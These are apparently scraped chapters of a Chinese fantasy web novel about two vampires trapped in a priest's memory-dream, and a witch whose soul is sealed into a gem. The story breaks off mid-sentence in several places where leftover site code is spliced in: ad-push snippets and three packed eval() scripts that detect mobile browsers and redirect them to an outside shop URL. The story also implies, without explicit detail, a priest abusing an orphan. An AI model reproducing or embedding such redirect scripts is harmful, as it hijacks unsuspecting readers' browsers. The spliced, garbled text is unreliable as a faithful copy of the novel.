那些关于血族新娘的诡异歌谣在脑海中浮现,恶心,太恶心了,阿尔曼德无法忍受契印造成的心灵冲击,他现在正像胃里塞满了大蒜一样难受。 从前做做样子也就算了,这次为什么能直接产生奇怪的错觉,克鲁普托说的对,动手之前应该花上三秒好好考虑。他确实不该杀了瑞安娜(阿尔曼德的第三任新娘),该死,好吧,就算多思考三秒,他也会摘下那家伙的头颅。 沃克脸上精致的面具终于裂开了缝,而且随之越裂越大,“你们……”震惊的目光几乎化成了实质,一前一后,在两人之间来回穿梭。 几百年了,承受禁术的反噬,能有机会解开一次,确实如释重负。相对于反应过大的另一位来说,阿卡莎倒是没什么感觉,她就是是个不懂“爱情”的木头,躺地上还是被切成片,都无动于衷。她把那种契印相连的感觉,理解为更为不公的主仆关系,难受确实有一些,好在没那么有杀伤力。 阿尔曼德此刻正被头脑中的小人所折磨,天使说“现在你要冷静一点,这个契约成立也不是一天两天了。而且,你难得动心一次呀。” 恶魔说“动什么心动,忘了你的一生挚爱了吗,想办法去杀了她。” 天使生气地扇动着自己的小翅膀冲上前“你别捣乱了行不行。” “说谁捣乱,难道留着她扰乱心神?” 最后,两个小家伙扭打在一起。 阿尔曼德愣在了原地,大脑空空如也。 “阿尔曼德,你在戏弄我吗?”沃克用怀疑且愤怒的眼神打量着面前魂不守舍的贵族。 沃克被转移了注意力,阿卡莎·计划通。 她正看中了一小片树影,准备隐匿起来,找机会溜走。禁术的实施需要时间准备,等她一离开就……. “喂,你,往哪走?”头顶出现了一片阴影,低沉的声音随之响起,好似来自地狱的鬼魅。 一只惨白阴冷的手即将搭上肩头,阿卡莎无奈闭眼,深呼吸,然后扭身一躲。 于是接下来又变成了三个人的故事,克勒广场的雪地里,到处都是脚印。 “契可纳斐藏魂术会重新断开连接,一切会恢复原样。”红魔一边被迫分神躲避着束缚的咒语一边试图讲些道理。 “你,本来就不应该存在,我要把你带回拉德邦陀(吸血鬼巢穴)。”阿尔曼德丝毫没有改变想法的意思。 “然后杀了我?你当我是“头悬浮”人士(大陆俗语,意为蠢笨无脑的人)吗?”阿卡莎抽空揉了揉眉心,双瞳因情绪的变化快速变红。 “现在是给你们处理家事的时候吗?我的镇子?我的灵魂呢?”沃克有些忍无可忍。 在他愤怒地大喊了一声之后,气氛终于陷入了诡异的宁静。两只吸血鬼缓缓转过头来,血红的双瞳中还有尚未平息的杀气。 “家事?说谁?”阿卡莎说。 “是不是老糊涂了呀,沃克·劳勒。”阿尔曼德露出了和善的笑容。 真是难得的默契。 另一边,戈瑞亚孤儿院。 孩子们正在院子里欢快地跑动着,叫做佩斯的男孩躺在草地上,捏着蒲公英,小心翼翼地吹散。这里有着一大片盛开的的向日葵,在雪花中摇曳着枝叶。 直到他推开门的时候,孩子们的笑止住了,随后跑着消失不见。 “神父来了,神父回来了。”精灵急切地去拉佩斯的胳膊,但那高大的身影越来越近。 一只无形的手蒙住了嘴,呼吸仿佛要停滞。巨大的恐惧下,他丢下了腿受伤的佩斯,转身跟着其他人跑走了。 佩斯被一个人留在了原地,失神地注视着那只被人放开的手。 “mivida(我的娃娃)……”另一双手向他伸来。 教堂的玻璃是彩色的,有着高耸的尖塔,圣洁的神像,阳光常常透过十字架洒在长椅上。月光落下的时候,那里是古老庄严的祭祀之地,而少年的□□成为了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 唯一的祭品。 风穿过长廊和地下室,像绝望的哀泣,月光流淌在圣母玛利亚的脸上,好似斑驳的泪痕。 精灵躲在教堂的树林外,听着锁链在地上拖行的声音,蹲下身捂住了嘴,泪水遍布了脸颊。他,他只是太害怕了,是佩斯,佩斯他自己不听话,不关他的事。他再一次选择了逃走。 那时候,大人在外面与黑暗势力抗争,而神父不再允许他们走出戈瑞亚,一墙之隔,再无故人的音讯。 利奇亚是第一个回来的人,他推开门,呼喊着被困住的人们。“快走,别再来兹维镇。” 孩子们却躲在屋子里,用警惕地眼神打量着这个狼狈的大人。 利奇亚跪在地上,耐心地解释着自己的目的,还拿出了那块承载着熟悉气息的宝石。“我,我是来救你们的,别害怕,你们看…..” 抱着娃娃的女孩最先从角落里跑出来,脸上还带着些胆怯,接着陆陆续续跑出来的孩子越来越多。 “我带你们走。”利奇亚激动地从地上爬起来。 他牵起孩子们的手,转身朝门口走去。 “沃….沃克神父。”女孩颤抖的声音传来,利奇亚觉得手心一紧,他低头,只觉心脏跳动的厉害。 神父,神父?喉咙像被割破了一样,干涩的发不出一点声音。 “我不是说过了吗?不许走出戈瑞亚,怎么不听话?”那个影子开口了。 孩子们一动也不敢动,像玩偶似的站在了原地。 “佩斯,我的佩斯,好孩子,你告诉我,你们这是要去哪里?”黏腻的眼神落在男孩身上,最后又移向利奇亚。 “坏孩子要接受惩罚。”他这样说。 黑色的瘦长手杖高高举起,利奇亚的双脚好像被钉在了原地,无法挪动,他下意识闭上了眼睛。 伴随着一声闷哼,预想的疼痛没有落在身上。他被人推开,瘦弱的身影趴在胳膊上,手杖落在了那人的腿上,一下又一下。他发现自己好像失去了知觉,麻木地注视着这一切的发生。 天亮了,太阳从落日森林的东边升起来。利奇亚仿佛如梦初醒,他翻身躲过那人的攻击,将那孩子抱起,“我来保护你们,我们一起逃出去。” 他一口气向着森林跑去,”我们,我们逃出去了。“利奇亚的手颤抖着,却将人抓的很紧。 他低下头,男孩的身影却逐渐透明,越来越轻,最后化成了一阵烟,像水汽一样,在日出时分消失不见。 时隔千年,泪水再一次遍布脸颊。 他想起来了,他们从来就没有逃出来。回头只剩残破的躯壳和爬满藤蔓和苔藓的孤儿院。 厄里克圣钟,三声,英雄出征,二声,祈求与祝福,一声,是为丧钟。 日出的耀眼光芒同样落在了阿卡莎的身上,刺眼的让人睁不开眼。 周围的一切在瞬间变幻着,树木凋零,狂风大作,落叶满地。教堂的玻璃上全是灰尘,蛛网遍布。 “今日的丧钟,是为你敲的,阿尔曼德。”沃克的声音从遥远的地方传来。 14. 论绅士的自我修养 钟声如约而至。 空气里浮动着奇怪的蒲公英一样的黑色物质,呼吸间,眼前的场景像水波似的晃动着,头好晕。 清醒过来的时候,阿卡莎觉得身体好沉,像刚从水里爬上陆地。手心是松软的红泥,抬头是茂密的枝桠,交错着向天空伸去。 这里是……落日森林? 潮湿的黏腻感不是错觉,地面上布满了大大小小的水洼,被打湿翅膀的乌鸦歪头蹲在旁边,梳理着羽毛。阿卡莎是无意中看见水洼中的自己的,那是一张陌生的年轻男人的脸,没有红棕色的头发和尖牙,当然,那是废话。总之,她成了一只精灵。 “啊,莫克多大人,您怎么在这里?” 从远处跑来的是个穿着粗布裙子的雀斑女孩,她眼圈通红,正以一种称得上惊恐的眼神看向阿卡莎,准确来说,是阿卡莎被湿润泥土弄脏的衣服。她想伸手却又纠结地愣在了半空,急的差点在原地打转。“天哪,您快起来吧。” 阿卡莎一起身,才发觉腰部往下的位置隐隐作痛。她更在意的是,自己的警惕性居然差到连这个女孩从哪里冒出来的都不清楚的地步。抛开这些,她发觉西裤的上半部分被打湿,站起来有些发凉。 走出森林的一路上,小雀斑叽叽喳喳的唠叨就没有停止过。“我一转眼,大人你就不见了,我把整个兹维镇跑了个遍都没见到您。” “下起雨的时候,我差点都要急哭了。” “您不会是滑倒了吧,呜呜呜呜,大人您最爱干净了。” ……. 听那女孩的说法,“莫克多”,也就是身体的主人,是一位来自王都的年轻商人,这次回兹维镇,是为了探望故友。另外,莫克多好像有着严重的洁癖。 阿卡莎保持着谨慎,一路上都没怎么说话。她不动声色地打量着这个熟悉又陌生的地方,繁华的街道,热闹非凡的集市,投来友善目光的人们。在千年之前的宝石之镇,风会带来野花的芳香,到处是丰收的果树和稻田,夜晚有着饱满明亮的月光,朴实热情的精灵们围着篝火欢歌笑语,猎犬们头上顶着花环,兴奋地摇动着尾巴。这里生机勃勃。 “这些,都是我的衣服?”阿卡莎看着一柜子五颜六色华丽繁复的衬衫,各种各样的领结和手套,还有,摆放整齐的手杖。这是个过于正宗的“平民贵族”,难怪那些卖珠宝的精灵总是迫不及待地向他推销首饰呢。 “是呀,大人,对了,您的手杖去哪里了?”小雀斑问道。 “抱歉,我也记不大清了。”阿卡莎说。“说起来,你的名字是?我很抱歉,从昏迷中醒来…….” 话说一半,阿卡莎有些无助地看着抹着眼泪的小雀斑。 “呜呜呜呜,大人,嗝,都怪我没照顾好您,现在您连丽莎的名字也想不起来了。” 阿卡莎摘下手套,轻轻抹去丽莎眼下的泪珠。看到瞬间止住哭声,站在原地发愣的女孩,她才后知后觉地反应过来,自己现在是洁癖绅士莫克多。 已经不止一次了,在这个不知是幻境还是梦的世界,她的心理防备好像更容易被击破,做出一些难以控制的举动。 “丽莎,别哭了,我没事的。就是太累了,今天想早点休息。”阿卡莎说。 女孩红着眼睛点点头,“好吧,我就在隔壁,大人您照顾好自己。”话是这么说,担忧的眼神却执着地黏在他身上,直到房门被小心翼翼地关上。 这是个非常干净的房间,充满着好闻的自然气息。清理了身上的污泥,阿卡莎从衣柜里挑了一件相对低调的酒红色衬衫穿上,莫克多的行李很多,但大部分是他那些别出心裁的衣服。唯一算得上有用的信息,是一本羊皮封面的日志。 莫克多确实为了“缄默绅士”的身份下了功夫,但从他写下的文字里,也不难体会到无法消弭的年轻气盛的傲气。一位事业有成,在外游历的商人,丽莎是他唯一的仆从,不过,关于这位尽心尽力的女仆的来历却没有说明。虽然面上礼貌恭合,但在这本笔记里,他时常嫌弃她的粗布裙子,脸颊上密密麻麻的雀斑,还有那双作势要朝他伸来的手。善良,真诚,时刻保持得体的微笑……当然,这些只是对他来说只是成为绅士的标签,像买卖时精心包装的广告词,是用来打动人心的最低成本的东西。 不得不说,莫克多是个精明的商人。 阿卡莎无意窥见这具身体主人的阴暗面,但说实话,她讨厌“绅士”,因为这两个字听起来像一套模版。不过这不妨碍她按照这个模板融入“莫克多”。 她没有注意时间的变化,窗外已经是深夜。躺在舒适柔软的床垫上时,阿卡莎想,沃克会怎么杀阿尔曼德呢? 本来应该对自己的生命安全提心吊胆的人,还是在高档床垫的诱惑下,不小心睡着了。第二天清晨,先是试探性的咚咚两声,随后敲门的声音变得急促不安起来。 “大人,大人,您起了吗?”丽莎的声音从门外传来。 门被突然打开的时候,丽莎被吓了一跳,眼睛瞪的大大的,先是惊讶,然后是有些心虚的害怕。在忍不住眼神向外飘去的时候,她急忙弯下腰朝阿卡莎鞠躬,“对不起,莫克多大人,抱歉打扰您休息,我只是有些担…..” “没事的,丽莎,谢谢关心。”阿卡莎露出了笑容,她想摸摸这个小雀斑的脑袋,又怕她吓得打嗝。好像在很久之前,她也遇见过这样一个可爱的小家伙。 女孩的脸颊微微泛起红晕,连雀斑也变成了洒落在烤熟面包上的芝麻。 “今天我会去露忒街探望梅塔太太,请别太担心。”阿卡莎很愿意再多体会一下平凡生活的快乐,可惜这里不是属于她的梦境。 “大人,您准备……就这样去吗?”丽莎变得吞吞吐吐起来。 于是,阿卡莎被精心打扮了一个钟头才出门。全身上下好像被什么东西束缚住了,大概就像是,一具放荡不羁的灵魂被困在系着华丽绳结的圣诞礼盒里。 在丽莎满意的眼神里,阿卡莎才终于走出了旅店。 前往露忒街的路上,她在布告栏上发现些特别的东西。“通缉令:瑞巴斯·迪罗,红魔,偷窃珠宝,悬赏金:两袋金币。” 阿卡莎只来得及粗略地扫两眼,那张通缉令便被人撕了,“先生,别看了,这小偷今早已经被抓走了。” “抱歉,我可以问问,这个小偷将会怎么处置?” “今晚,处刑礼就在克勒广场举行,您可以来看看。”那人回答。 “好的,谢谢。”阿卡莎躬身致谢。 日志里写的关于故人的地址是…..露忒街尽头的珠宝店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“丽莎,你怎么在这里?”阿卡莎有些疑惑地开口。 看到自己的主人,女孩全身的气势像破皮的气球似的飞走,她的愤怒里含着委屈,“大人,是他,就是他偷了您的手杖,还不承认。” “呸,这是埃恩捡到的,才不是偷你主人的。” 说话的孩子一头利落的短发,尖尖的精灵耳朵露在外面,尽管稚气未脱,眉眼间却让人感觉英气十足。 “埃诺埃恩,这是怎么回事。”梅塔太太严肃地皱起眉。 “梅塔太太,埃恩昨天在落日森林捡到了一根手杖。但今天早上这个人类女孩在戈瑞亚门口拦住埃恩,不仅骂他,还把他推到地上。您也知道,虽然他不说话,但他不是那种人。”埃诺有些心疼地看着坐在地上像个洋娃娃似的的双胞胎哥哥。 “那么,莫克多,那根手杖是你落在森林里的吗?” “那根手杖是主人在圣地买的,用最坚硬最稀有的建木制成,这个镇上都找不出第二….” “那手杖不是我的。”丽莎话音未落,就被不容置疑的声音打断。 “可是大人……” 阿卡莎将一根手指抵在唇边,对丽莎比了个“嘘——”的手势。“建木是自然之母特修蕾拉的馈赠,它会走向有缘之人的身边。” 埃恩抬起头,看向阿卡莎,表情依旧木木的,随后又低下头,抱紧了那根木头,透着奇怪的执着。 梅塔太太无奈地摇摇头,“对了,安达利尔呢?” “啊,安达利尔姐姐今天抓到了小偷,这会儿应该在克勒广场。”埃诺的脸上立刻浮现出自豪的神情。“哦对,佩斯那个跟屁虫也去了。” 15. 造梦 “安达利尔,你喜欢什么样的人啊?”十六岁的少年问道,他想尽力做到自然些,可是每次都事与愿违。 当事人先是愣了几秒,随后弯下腰笑了起来,全身都在颤抖着。她抬起头,用指腹刮去眼角渗出的泪花,“嘿,小屁孩,你….”话音未落,她便看见佩斯一本正经绷住的嘴角和涨红的脸颊。 “好了,好了,不逗你啦。”安达利尔大力地揉了揉佩斯的脑袋,最后环顾了四周,有些漫不经心地说。“哦,我喜欢绅士,善良礼貌,真诚地尊重人们。喏,像那种的。” 不远处,年轻的绅士将外套披在一位衣着单薄的老太太身上,又撸起袖子帮她收拾地上被人撞倒的果摊。 “真是太感谢您了,先生。我不知道该怎么….” “没事的。”阿卡莎随意地抹去额头渗出的细汗,脸上洋溢着朴实的笑容。尽管最后再三拒绝,老太太还是塞给他一包苹果。 处刑礼马上就要举行了,克勒广场变得热闹起来,老太太的果摊就是被几个调皮的孩子不小心撞翻的。 阿卡莎嘴里啃着一个苹果,手上还抱着沉甸甸的一袋,穿过拥挤的人群来到了前排。 “喂,你知道吗?这个小偷简直是个疯子。” “你也听说了?是啊,什么也不肯说,就一直喊着沃克神父的名字。” “哎,沃克神父他是不是…..” 两人的嘀咕的声音越来越小,直到阿卡莎什么也听不见。 “抱歉,我想问下….”阿卡莎正打算打听一下沃克的事。周围的人的视线却忽然被什么吸引,人群大声欢呼起来,吵得像一锅煮沸的水。 被围住的处刑台上,衣衫褴褛的小偷拖着厚重的手铐,他低着头,晃着身子躲开守卫伸过来的手。在宣讲完罪行后,他被人按着跪在了断头台前。 “你有什么遗言吗?瑞巴斯·迪罗。” 蓬头垢面的小偷被迫佝偻着身躯,人们看不清他的面容。“沃克·劳勒,我要把你碎尸万段,扔进地狱。” 全场陷入了沉寂,随后人们再次交头接耳地讨论起来。 虽然莫克多本人没有什么出色的魔法能力,但是,莫克多有着还算丰富的财力。他可以买到各种符咒型魔法和灵物。 “Ho’oponopono”这可是高级传送阵法。 一道白光闪烁在瑞巴斯的周围,阿卡莎也在这时候,拨开人群向远处奔去。 变故来得有些突然,人们只看到台上那人像缕烟似的消失。“嘿!别跑,小偷在那边。”不知道谁先喊了一声,人群再次沸腾起来。 跑到了广场边缘的空地上,阿卡莎瞥了眼聚集在中心的人群,符咒也在此刻燃烧殆尽,传送的信号隐隐闪烁在距离头顶不远处的空中,阿卡莎转身,脖子上再次闪烁着月亮与眼睛形状的血契符号。她伸出双手,顺利接住了传送门里的人。 好在这是一具健壮的成年男人的身体,抱着人跑路还算轻松。 阿尔曼德自从在这个世界醒来开始,就没有停止过逃跑。他失去能力,变成一只低贱的红魔,这里到处是他的悬赏通缉令,长时间未进食的饥饿感疯狂地灼烧着他,吞下死老鼠的血肉的滋味让他感到万分屈辱。除此之外,他身上散发着下水道的恶臭,像一只游荡在最肮脏的角落的鬼魂。好不容易熬到第二天天亮,他又被一个疯女人盯上了,浑身上下添了新伤,被关押进臭烘烘的马棚后,那些精灵便领着他上了断头台。 他做好了拼死挣扎的准备,但现在这种情况来的很突然。他还没来得及看清那人的面容,怀里就先被塞了一袋苹果。直到看到那人颈间熟悉的符号,他才莫名松了口气。 抱着人跑出一段路之后,阿卡莎实在忍不住,“衬衫胸口口袋,帮我拿一下。” 阿尔曼德的手刚伸向口袋,“小偷,别跑!”愤怒的精灵们手上捏着烂掉的西红柿,朝他们扔来。 阿卡莎反应很快,闪身跑进了小巷。“快点。” 这么一闪,阿尔曼德的手按在了结实的胸肌上,让他整个人愣了好几秒。口袋里有张清洁符和直达小镇出口的传送符。 两个人被符咒带到落日森林的时候,天已经完全黑透了。 “这….这玩样到底怎么解,我可不想和你一起死。”阿卡莎喘着气,从阿尔曼德怀里拿回那袋苹果,随后又指了指自己的脖子。 阿尔曼德没说话,他正站在森林尽头的出口处,本来应该通往镇外的道路消失不见,边界变得像堵透明的墙,外面的世界像没来得及画完的画一样消失在墙外。 “沃克·劳勒活了几千年,不会还没出过镇吧?”他自顾自地说道。 “现在看来是这样。”阿卡莎擦亮一只灵烛,贴着那墙仔细瞧了瞧。 阿尔曼德转头,猛地被烛火的光晃了晃,他揉了揉眼睛,有些不耐地向身边看去。“你…..” “怎么了,我现在不是红魔,没有这么好的夜视能力。”阿卡莎看着仿佛被人钉在原地的阿尔曼德,有些疑惑地问道。 “你这张脸….”阿尔曼德的表情变得有些诡异,为什么那张他朝思暮想的脸会出现在这里。 这反应实在莫名其妙,阿卡莎不由得皱起了眉毛,“你不会是…..” 看着那张近在咫尺的脸,阿尔曼德猛地屏住呼吸,向后退了两步,又捂住嘴,仿佛靠近对方的那片空气中遍布陷阱。说话的声音逐渐向他远去,准确来说,是他心脏跳动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000989|148508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音盖过了一切。 “嘿,你能听见我说话吗?你是不是哪里病了,不会要死了吧?” 深呼吸,没错,都是假的,是假象,他怎么能对一个幻想这么痴迷,这是亵渎,是不忠。 “我没事。”阿尔曼德回答。他不知道,自己身体里流的不再是贵族的血统,不再像口古老高贵的井一样,能将一切包装精美,再自然地藏匿。红魔的眼睛就是片粗犷的海洋,情感体现在他们身上就像海面上直白的雨。 “那你知道有关梦境的事吗?”阿卡莎没注意他的异常,环顾着四周说道。 “梦境以召唤人的回忆作为食物,这里是沃克的回忆。梦影响着我们,让我们看见不一样的东西。沃克是唯一不受影响的人,他甚至可以捏造新的情节,但有限。”阿尔曼德说话的声音很急,断断续续。 “那是要杀了沃克才行吗?”阿卡莎思索了片刻后回答。 “沃克是召唤人,他甚至可以在梦的外面,在现实世界里,让‘梦’自由发展。”说完了,阿尔曼德不自在地咳嗽了两声,似乎还没习惯一次性说这么多话。 “那些真的回忆是无法改变的,如果持续困在这里,我们会成为梦的养分,变得无知无觉,融入这个无法改变的回忆之地。”自顾自地盯着地面说完这些,阿尔曼德感觉燥意平息了大半。可一想到那些狼狈至极的时刻,他又变得呼吸急促。 沃克·劳勒,不过是个靠勾引恶魔活下来的人。 阿卡莎沉默地听着,随后忽然抬头,冷不丁地来了一句“所以,你看到的是你想见到的脸?” 严肃的氛围被打断,阿尔曼德的喉咙像被一只死老鼠给堵住了,尽管如此,他依然不敢看向那个假象的双眼。 晶莹剔透的玻璃球内,装着一个小世界,那里装着回忆,装着一只精灵的全部。它披散着的长发是最接近那些贵族丝绸的东西,柔软地垂在耳边。玻璃反射的光晕流淌在眼底,汇成了一条河,反复在回忆中沉浮的精灵,像水底匍匐不动的金鱼,隔段时间它会忽然游动起来,脱离那种呆呆的状态,每次大概是七秒。 “你累了,需要休息,这里交给我吧。” 精灵垂下眼睫,眼白被黑色覆盖,它再次用手指轻触玻璃的表面,霎时间,仿佛水球里滴入了墨汁,顷刻之间那些浪漫丰富的画面被黑暗吞食,玻璃球被底部生出的触手包裹,变成了一团缠绕跳动着的肉球。从这里开始,是属于厄里克的记忆。 阿卡莎两人只觉得天色正飞快地变换着,树叶瞬间从茂盛到枯萎,四处布满了枯藤和落叶。风越来越大,将沙尘卷的满地乱跑。丧钟和迎战的钟声接连不断地在耳边响起,建筑成为了废墟,同族精灵的尸体堆在冰冷的板车上。 16. 交易 “莫克多”并不存在于这段记忆里,在厄里克的视角下,一切都摇摇欲坠。 丽莎消失了,合照里他的身影被抹去,只剩下这一个立在森林中的幻觉。其实以厄里克的能力,它可以直接将人困在记忆中的地狱,但不知为什么,它并没有选择那样做。 空气中再次浮动起黑色物质,一阵强烈的耳鸣袭来。阿卡莎皱着眉头,瞳孔止不住地颤动。再度抬起头,她发现自己身处教堂。 彩色玻璃窗上映照着一张熟悉的面孔,那是阿卡莎·莫温的脸,那是她的脸。 “女巫,你还活着。” 声音从背后传来,阿卡莎停在原地,没有回头。 那人说话的语气很肯定,不似幻觉。 黑影来到了阿卡莎的面前,雾气凝结着,人形逐渐变得清晰。“你否认不了,因为我记得你。” “你是谁?厄里克圣钟?”阿卡莎开口。记忆回溯产生的幻觉,像是自己体内燃烧着一团永不熄灭的火焰,源源不断的力量像岩浆似的流淌喷发着,又瞬间汇入汪洋,平静下来,无边无际,这些是她曾经拥有的女巫力量。 “呵,圣钟,确实,在你打开门之前,这么叫也没错。”厄里克说。 “所以呢,你想干什么?”阿卡莎直截了当地问道。 明明脸上只是一团黑雾,阿卡莎莫名觉得眼前的恶魔笑了。 “‘钥匙’碎了,半颗宝石,一杯土,三枚金币,还有,影子。”厄里克随之身边的雾气幻化成对应的形状。 “哇,好神秘。我应该这样说吗?”阿卡莎冷笑了两声,最后吐出一口气,“你要知道,我现在一无所有。” “不,宝石,你拥有那颗宝石。”厄里克不紧不慢地说。“你在那里面寄存了什么?” “哦,这个,大概是‘我在里面寄存了什么’的答案。”阿卡莎回答道。 最近她发现一个有趣的事情,就是,当你永远不知道下一刻命运被什么掌握的时候,你就会变成一个幽默的疯子。 “你失去记忆了?”这次终于是疑问的语气了,恶魔不再显得那么游刃有余。 “显而易见。”阿卡莎说。 作为第一批出门的恶魔,厄里克很早就发觉,人一旦拥有了意志,就必定会体验绝望。所以恶魔的诞生也是必然的,这是在死亡中新生的某种东西。 但对于被恶魔寄生的活物来说,共生需要靠大量的吞食灵魂来实现。阿尔曼德知道这一点,于是和沃克达成了交易关系。 只不过沃克开始变得不对劲了,嗜睡,记忆错乱,甚至自残,虽然都被厄里克阻止了。沃克认为是阿尔曼德在那些灵魂里动了手脚,才会想要执着地杀了他。只不过在那之前,他就再次陷入了记忆错乱。 “他曾许诺向恶魔献出一切,确实,所有力量的使用需要付出代价。”厄里克说。 恶魔身上的触手若隐若现,情绪的波动让那些雾气荡漾着。 “你变得很像人类,这或许并不是一件好事。”阿卡莎认真地说,“离开他,或者吞食他,你只有两种选择。” 一只理性的正常恶魔都会毫不犹豫地做出选择,要知道,为了可笑的口头信仰而吃亏,简直是耻辱。 厄里克完全走向了反面,它表现得像个被戳破心事而恼羞成怒的孩子,或许它本来也不是一只成熟的恶魔。而像人的恶魔会变得愚蠢,他们有的甚至会生出可怕的同情心。但这或许是个机会,阿卡莎想。 “我要那颗宝石。‘钥匙’身上有着生命之源的奥秘,你吃下了禁果,却没有受到惩罚,这是最好的证明。” “什么禁果?”原谅阿卡莎的注意力总是在一些奇怪的地方,她皱起眉,隐隐有所预感。 “克勒广场,那个被撞倒的果摊。”厄里克好心回复。“这么多果子,你偏偏拿到了那一个,是禁果选择了你。” 阿卡莎记忆中,那只是个再普通不过的苹果了。随便啃了一个,居然也有后台? “别废话了,宝石呢?我该怎么做?”阿卡莎扶额。厄里克应该知道大概的踪迹,但重生前她应该做了些什么,至少也是个禁制什么的。 或许曾经的那个女巫,有着她无法想象到的力量。 “你失去记忆了,这是个麻烦事。但有个人或许知道。”厄里克来到她面前,伸出黑色的一团看起来是手的东西,但实在分不清是手背还是手心。总之,那上面出现一颗宝石,闪着金色的光芒,这让她想起一个人。 “她应该会认识你。”厄里克说,并示意阿卡莎触碰那颗宝石。 那上面散发着亲切又温暖的力量,越靠近时,耳边的风声便越来越大,直到指尖落在石头的表面,周身哗啦啦地一响,教堂场景像剥落的旧墙皮般褪去,眼前出现一望无际的旷野。 阿卡莎看见了“自己”。女人的眼睛微微垂下,面容平和。那是记忆也无法做到的力量,她没有看见人类,那仿佛是披着她的皮相的一棵树,是连绵起伏的山丘和大地,是火山口跳动的心脏。那是位真正的女巫,有着强大却温柔的力量。 女人抬眼,看向本该空无一物的身后,那是这位来自两千年后的阿卡莎站的地方。她的眼睛闪烁着森林的光芒,深处却藏匿无数破碎的影子,那是一种很熟悉的感觉,但又让人心惊肉跳般的陌生,阿卡莎莫名觉得这个女巫似乎对一切了如指掌。 阿卡莎跟随着她,见到了安达利尔。 “阿卡莎,好久不见。”她说。 她们一起走过乡间长长的田垄,直到夕阳的余晖也完全散去,整个天空笼罩在漂亮的蓝调里。 “我最近养了一只粘人的宠物,因为这小家伙,我老是迷路。”说话的时候,女巫脸上笼罩着的东西好像被风吹乱,露出个异常生动的笑容。 女巫偶也尔会跟着安达利尔去教堂礼拜,在圣钟前祈愿。她虔诚地闭上眼,双手交握抵在额前,嘴唇翕动着,似乎在说些什么。 阿卡莎听到了,那是“宝石,一杯土,三枚金币,还有,影子......” 听清女巫嘴里呢喃的瞬间,她身上忽地渗出些汗来,心脏开始狂烈地跳动。 没来得及反应,她还定在原地,记忆的片段却迅速地闪动,时间不知道过去了多久。画面定格的时候,眼前女巫的样子也随之变化了,她变得越发心事重重,准确来说,她终于变得像个人类了。 “安达利尔,把我变成宝石吧?”她忽然说道。 “阿卡莎,你.......”安达利尔的话卡在了嘴边,她的眉头皱起,有些激动地看向阿卡莎,似乎想急切地说些什么,最后却叹出一口气来。“我们都知道,这样是违背神的意愿。” “安达利尔,你知道的,能救我们的,永远不会是神。”女巫的身影在月色下矗立不动,她的眼神悲悯且动人。 “人的灵魂能制成宝石吗?我,我做不到。”安达利尔说着,望向友人的双眼——里面没有任何恐惧。 关于所谓的和平时代的禁忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000990|148508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,实际只存在瓦乎尔一族的传说中,那些在战斗中英勇牺牲的战士会被神挑选,升入“英魂之殿”。死亡不会成为消亡,她们陨落的的灵魂会在宝石中获得新生,成为荣誉与永恒的不熄之火。但这能够成为她亲手杀死朋友的安慰吗? “你需要‘火种’,灵魂与自然的的最高媒介。”女巫的手中出现种子形状的东西,时而分散,时而聚集。“请不要担心,我暂时不会死去,封存的只是灵魂的碎片。” 安达利尔闭上眼睛,她知道自己每次都无法拒绝女巫身上奇怪且坚韧的魔力。 仪式开始了,要将自身的灵魂撕下一片,再将碎片取出,变成一块石头。女巫的全身被汗液浸湿,月夜下的森林,成为血淋淋的献祭台。“阿卡莎,你的身体.......”安达利尔支撑着法阵的双手止不住地颤抖。 女巫的身体变得透明,甚至连月光也可以轻易地穿过。“我没事的,请继续吧。”她有些艰难地吐字。 火种在法阵的中心凝结,最后又变回了液体状态,流向灵魂深处。女巫跪在地上,头也无力地垂向一旁。同时,安达利尔手中出现了一块深绿色的宝石,这是她经历过的最耗费精力的仪式,甚至在结束的瞬间让她两眼发黑。 安达利尔使劲晃了晃脑袋,稳住了身形。她看见不远处阿卡莎的身影一动不动,最后彻底粉碎,落在地上,又在片刻后凝结汇聚,逐渐变回实形。 像是被脱水的鱼跳入了大海,女巫剧烈地呼吸着,然后止不住地咳嗽。她刚直起上半身,就被一双手抱住。 “天哪,阿....阿卡莎,感谢上帝。”安达利尔的声音听起来有些不自然。 话说从认识开始,她还从来没有就见过这位勇敢的女士流过泪。被温柔抱住的女巫好像还有些愣愣的,半天才抽出干净的手来轻轻抚摸安达利尔的后背。 “谢谢你,安达利尔。”回答的声音有些闷闷的。 “对了,这个。”安达利尔小心翼翼地摊开掌心,“这是我见过最美的宝石。” 她抬起头,宝石的光将细小雀斑下的泪痕印的闪闪发光。 阿卡莎看见女巫附上那颗宝石,最后将伸向自己的手推离。 几乎是同时,安达利尔和像个影子似的蹲着的阿卡莎本人,转头看向女巫。 “你可以替我保管吗?未来,会有人需要它。”她说。 “可是...........我,我知道了。”安达利尔再次低下头,有些出神地看着手里的绿色宝石。 “有‘火种’在,你可以再次使用我的能力。”女巫的脸上光影斑驳,阴影遮住了她的双眼“但是,我希望你不会再用到它。” 